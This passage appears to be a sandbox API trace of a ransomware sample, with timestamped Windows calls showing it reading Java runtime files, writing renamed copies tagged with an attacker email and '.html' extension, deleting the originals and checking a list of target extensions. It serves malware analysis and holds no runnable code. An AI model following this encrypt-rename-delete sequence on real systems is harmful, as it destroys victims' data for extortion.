	[0178.261] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.261] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.261] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0178.261] GetLastError () returned 0x0
	[0178.261] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x4e5, lpOverlapped=0x0) returned 1
	[0178.263] WriteFile (in: hFile=0x594, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0178.264] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.264] WriteFile (in: hFile=0x594, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0178.264] SetEndOfFile (hFile=0x594) returned 1
	[0178.264] CloseHandle (hObject=0x594) returned 1
	[0178.264] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.264] SetEndOfFile (hFile=0x5b4) returned 1
	[0178.268] CloseHandle (hObject=0x5b4) returned 1
	[0178.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0178.269] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 1
	[0178.270] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0178.270] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0178.270] lstrlenW (lpString=".doc") returned 4
	[0178.270] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1
	[0178.270] lstrlenW (lpString=".docx") returned 5
	[0178.270] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1
	[0178.270] lstrlenW (lpString=".pdf") returned 4
	[0178.270] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1
	[0178.270] lstrlenW (lpString=".xls") returned 4
	[0178.270] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1
	[0178.270] lstrlenW (lpString=".xlsx") returned 5
	[0178.270] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1
	[0178.270] lstrlenW (lpString=".ppt") returned 4
	[0178.270] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1
	[0178.270] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0178.270] lstrlenW (lpString=".zip") returned 4
	[0178.270] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1
	[0178.270] lstrlenW (lpString=".rar") returned 4
	[0178.270] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1
	[0178.270] lstrlenW (lpString=".bz2") returned 4
	[0178.270] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1
	[0178.270] lstrlenW (lpString=".7z") returned 3
	[0178.270] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1
	[0178.270] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0178.270] lstrlenW (lpString=".dbf") returned 4
	[0178.270] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1
	[0178.270] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0178.270] lstrlenW (lpString=".1cd") returned 4
	[0178.270] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1
	[0178.270] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0178.270] lstrlenW (lpString=".jpg") returned 4
	[0178.270] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1
	[0178.271] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0178.271] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0178.271] lstrlenW (lpString=".doc") returned 4
	[0178.271] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1
	[0178.271] lstrlenW (lpString=".docx") returned 5
	[0178.271] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1
	[0178.271] lstrlenW (lpString=".pdf") returned 4
	[0178.271] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1
	[0178.271] lstrlenW (lpString=".xls") returned 4
	[0178.271] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1
	[0178.271] lstrlenW (lpString=".xlsx") returned 5
	[0178.271] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1
	[0178.271] lstrlenW (lpString=".ppt") returned 4
	[0178.271] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1
	[0178.271] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0178.271] lstrlenW (lpString=".zip") returned 4
	[0178.271] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1
	[0178.271] lstrlenW (lpString=".rar") returned 4
	[0178.271] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1
	[0178.271] lstrlenW (lpString=".bz2") returned 4
	[0178.271] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1
	[0178.271] lstrlenW (lpString=".7z") returned 3
	[0178.271] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1
	[0178.271] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0178.271] lstrlenW (lpString=".dbf") returned 4
	[0178.271] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1
	[0178.271] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0178.271] lstrlenW (lpString=".1cd") returned 4
	[0178.271] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1
	[0178.271] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0178.271] lstrlenW (lpString=".jpg") returned 4
	[0178.271] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1
	[0178.272] lstrcmpiW (lpString1=".0_144\\lib\\security\\cacerts", lpString2=".html") returned -1
	[0178.272] lstrlenW (lpString="cacerts") returned 7
	[0178.272] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0178.272] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=114923) returned 1
	[0178.272] CloseHandle (hObject=0x5b4) returned 1
	[0178.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 0x20
	[0178.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.273] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0178.273] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.273] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.273] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0178.274] GetLastError () returned 0x0
	[0178.274] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x1c0eb, lpOverlapped=0x0) returned 1
	[0178.279] WriteFile (in: hFile=0x594, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x1c0f0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x1c0f0, lpOverlapped=0x0) returned 1
	[0178.281] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.281] WriteFile (in: hFile=0x594, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0178.281] SetEndOfFile (hFile=0x594) returned 1
	[0178.281] CloseHandle (hObject=0x594) returned 1
	[0178.282] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.282] SetEndOfFile (hFile=0x5b4) returned 1
	[0178.560] CloseHandle (hObject=0x5b4) returned 1
	[0178.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0178.560] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 1
	[0178.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0178.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0178.561] lstrlenW (lpString=".doc") returned 4
	[0178.561] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1
	[0178.561] lstrlenW (lpString=".docx") returned 5
	[0178.561] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1
	[0178.561] lstrlenW (lpString=".pdf") returned 4
	[0178.561] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1
	[0178.562] lstrlenW (lpString=".xls") returned 4
	[0178.562] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1
	[0178.562] lstrlenW (lpString=".xlsx") returned 5
	[0178.562] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1
	[0178.562] lstrlenW (lpString=".ppt") returned 4
	[0178.562] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1
	[0178.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0178.562] lstrlenW (lpString=".zip") returned 4
	[0178.562] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1
	[0178.562] lstrlenW (lpString=".rar") returned 4
	[0178.562] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1
	[0178.562] lstrlenW (lpString=".bz2") returned 4
	[0178.562] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1
	[0178.562] lstrlenW (lpString=".7z") returned 3
	[0178.562] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1
	[0178.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0178.562] lstrlenW (lpString=".dbf") returned 4
	[0178.562] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1
	[0178.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0178.562] lstrlenW (lpString=".1cd") returned 4
	[0178.562] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1
	[0178.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0178.562] lstrlenW (lpString=".jpg") returned 4
	[0178.562] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1
	[0178.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0178.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0178.562] lstrlenW (lpString=".doc") returned 4
	[0178.562] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1
	[0178.562] lstrlenW (lpString=".docx") returned 5
	[0178.562] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1
	[0178.562] lstrlenW (lpString=".pdf") returned 4
	[0178.562] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1
	[0178.563] lstrlenW (lpString=".xls") returned 4
	[0178.563] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1
	[0178.563] lstrlenW (lpString=".xlsx") returned 5
	[0178.563] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1
	[0178.563] lstrlenW (lpString=".ppt") returned 4
	[0178.563] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1
	[0178.563] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0178.563] lstrlenW (lpString=".zip") returned 4
	[0178.563] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1
	[0178.563] lstrlenW (lpString=".rar") returned 4
	[0178.563] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1
	[0178.563] lstrlenW (lpString=".bz2") returned 4
	[0178.563] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1
	[0178.563] lstrlenW (lpString=".7z") returned 3
	[0178.563] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1
	[0178.563] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0178.563] lstrlenW (lpString=".dbf") returned 4
	[0178.563] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1
	[0178.563] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0178.563] lstrlenW (lpString=".1cd") returned 4
	[0178.563] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1
	[0178.563] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0178.563] lstrlenW (lpString=".jpg") returned 4
	[0178.563] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1
	[0178.563] lstrcmpiW (lpString1=".0_144\\lib\\tzmappings", lpString2=".html") returned -1
	[0178.563] lstrlenW (lpString="tzmappings") returned 10
	[0178.564] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0178.564] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=8400) returned 1
	[0178.564] CloseHandle (hObject=0x5b4) returned 1
	[0178.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 0x20
	[0178.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.565] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0178.565] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.565] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.565] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0178.566] GetLastError () returned 0x0
	[0178.566] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x20d0, lpOverlapped=0x0) returned 1
	[0178.568] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x20e0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x20e0, lpOverlapped=0x0) returned 1
	[0178.569] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.569] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0178.569] SetEndOfFile (hFile=0x4a8) returned 1
	[0178.569] CloseHandle (hObject=0x4a8) returned 1
	[0178.570] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.570] SetEndOfFile (hFile=0x5b4) returned 1
	[0178.573] CloseHandle (hObject=0x5b4) returned 1
	[0178.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0178.573] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 1
	[0178.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0178.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0178.574] lstrlenW (lpString=".doc") returned 4
	[0178.574] lstrcmpiW (lpString1=".doc", lpString2="ings") returned -1
	[0178.574] lstrlenW (lpString=".docx") returned 5
	[0178.574] lstrcmpiW (lpString1=".docx", lpString2="pings") returned -1
	[0178.574] lstrlenW (lpString=".pdf") returned 4
	[0178.574] lstrcmpiW (lpString1=".pdf", lpString2="ings") returned -1
	[0178.574] lstrlenW (lpString=".xls") returned 4
	[0178.574] lstrcmpiW (lpString1=".xls", lpString2="ings") returned -1
	[0178.574] lstrlenW (lpString=".xlsx") returned 5
	[0178.574] lstrcmpiW (lpString1=".xlsx", lpString2="pings") returned -1
	[0178.574] lstrlenW (lpString=".ppt") returned 4
	[0178.574] lstrcmpiW (lpString1=".ppt", lpString2="ings") returned -1
	[0178.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0178.574] lstrlenW (lpString=".zip") returned 4
	[0178.574] lstrcmpiW (lpString1=".zip", lpString2="ings") returned -1
	[0178.574] lstrlenW (lpString=".rar") returned 4
	[0178.574] lstrcmpiW (lpString1=".rar", lpString2="ings") returned -1
	[0178.574] lstrlenW (lpString=".bz2") returned 4
	[0178.574] lstrcmpiW (lpString1=".bz2", lpString2="ings") returned -1
	[0178.574] lstrlenW (lpString=".7z") returned 3
	[0178.574] lstrcmpiW (lpString1=".7z", lpString2="ngs") returned -1
	[0178.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0178.574] lstrlenW (lpString=".dbf") returned 4
	[0178.574] lstrcmpiW (lpString1=".dbf", lpString2="ings") returned -1
	[0178.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0178.574] lstrlenW (lpString=".1cd") returned 4
	[0178.574] lstrcmpiW (lpString1=".1cd", lpString2="ings") returned -1
	[0178.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0178.574] lstrlenW (lpString=".jpg") returned 4
	[0178.574] lstrcmpiW (lpString1=".jpg", lpString2="ings") returned -1
	[0178.575] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0178.575] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0178.575] lstrlenW (lpString=".doc") returned 4
	[0178.575] lstrcmpiW (lpString1=".doc", lpString2="ings") returned -1
	[0178.575] lstrlenW (lpString=".docx") returned 5
	[0178.575] lstrcmpiW (lpString1=".docx", lpString2="pings") returned -1
	[0178.575] lstrlenW (lpString=".pdf") returned 4
	[0178.575] lstrcmpiW (lpString1=".pdf", lpString2="ings") returned -1
	[0178.575] lstrlenW (lpString=".xls") returned 4
	[0178.575] lstrcmpiW (lpString1=".xls", lpString2="ings") returned -1
	[0178.575] lstrlenW (lpString=".xlsx") returned 5
	[0178.575] lstrcmpiW (lpString1=".xlsx", lpString2="pings") returned -1
	[0178.575] lstrlenW (lpString=".ppt") returned 4
	[0178.575] lstrcmpiW (lpString1=".ppt", lpString2="ings") returned -1
	[0178.575] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0178.575] lstrlenW (lpString=".zip") returned 4
	[0178.575] lstrcmpiW (lpString1=".zip", lpString2="ings") returned -1
	[0178.575] lstrlenW (lpString=".rar") returned 4
	[0178.575] lstrcmpiW (lpString1=".rar", lpString2="ings") returned -1
	[0178.575] lstrlenW (lpString=".bz2") returned 4
	[0178.575] lstrcmpiW (lpString1=".bz2", lpString2="ings") returned -1
	[0178.575] lstrlenW (lpString=".7z") returned 3
	[0178.575] lstrcmpiW (lpString1=".7z", lpString2="ngs") returned -1
	[0178.575] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0178.575] lstrlenW (lpString=".dbf") returned 4
	[0178.575] lstrcmpiW (lpString1=".dbf", lpString2="ings") returned -1
	[0178.575] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0178.575] lstrlenW (lpString=".1cd") returned 4
	[0178.575] lstrcmpiW (lpString1=".1cd", lpString2="ings") returned -1
	[0178.575] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0178.575] lstrlenW (lpString=".jpg") returned 4
	[0178.575] lstrcmpiW (lpString1=".jpg", lpString2="ings") returned -1
	[0178.576] lstrcmpiW (lpString1=".0_144\\LICENSE", lpString2=".html") returned -1
	[0178.576] lstrlenW (lpString="LICENSE") returned 7
	[0178.576] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0178.576] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=40) returned 1
	[0178.576] CloseHandle (hObject=0x5b4) returned 1
	[0178.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 0x20
	[0178.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.577] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0178.577] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.577] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.577] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0178.578] GetLastError () returned 0x0
	[0178.578] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x28, lpOverlapped=0x0) returned 1
	[0178.579] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x30, lpOverlapped=0x0) returned 1
